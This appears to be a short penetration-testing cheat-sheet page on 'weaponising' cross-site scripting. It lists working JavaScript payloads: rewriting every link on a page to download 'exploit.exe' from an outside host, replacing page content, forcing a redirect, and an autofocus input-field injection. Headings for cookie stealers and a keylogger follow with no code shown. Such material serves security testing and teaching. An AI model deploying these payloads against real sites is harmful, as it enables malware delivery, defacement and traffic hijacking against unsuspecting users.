Weaponising XSS
1-up your <script>alert(1)</script> and effectively demonstrate risk
Content substitution
Replace Link
for (var i = 0; i < document.links.length; i++) {
var a = document.links[i];
a.href = 'https://domain.com/exploit.exe';
}Replace HTML element
document.body.innerHTML = 'New body HTML';Forward traffic
location.replace("https://domain.com")
Example use in "input" field
onfocus=location.replace("https://domain.com") autofocus=aData Exfiltration
Cookie stealers
Simple cookie stealers
PHP Server to cache cookies
Javascript cookie stealer (could be paired with keylogger below)
Key logger
Last updated
Was this helpful?